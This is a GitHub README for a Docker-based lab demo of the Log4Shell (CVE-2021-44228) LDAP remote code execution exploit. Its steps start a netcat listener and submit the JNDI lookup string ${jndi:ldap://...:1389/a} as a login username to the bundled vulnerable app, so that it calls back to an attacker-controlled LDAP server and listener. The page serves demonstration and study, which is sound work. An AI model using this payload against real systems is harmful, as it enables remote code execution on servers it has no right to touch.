Skip to content

A Docker based LDAP RCE exploit demo for CVE-2021-44228 Log4Shell

Notifications You must be signed in to change notification settings

traderggl/log4j-poc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 

Repository files navigation

log4j-poc

An LDAP exploit for CVE-2021-44228 Log4Shell

Description

The exploit code in this demo is based on that found at https://github.com/kozmer/log4j-shell-poc

Prerequisites

This code requires Docker and Docker Compose

Installation

git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build

Run

  1. Setup you docker listener in the first terminal
    1. nc -lv 10.10.10.31 9001
  2. Start the docker containers in a second terminal
    1. docker-compose up
  3. Navigate to the web app on port 8080
    1. Navigate to http://10.10.10.31:8080/log4shell
      1. Enter the username: admin
      2. Enter the password: password
      3. Select the "login" button
      4. See the welcome screen
    2. Return to login at http://10.10.10.31:8080/log4shell
      1. Enter the username ${jndi:ldap://172.16.238.11:1389/a}
      2. Select the "login" button
      3. Check for connection on your nc listener

About

A Docker based LDAP RCE exploit demo for CVE-2021-44228 Log4Shell

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Java 44.9%
  • Python 38.2%
  • Dockerfile 9.4%
  • Shell 7.5%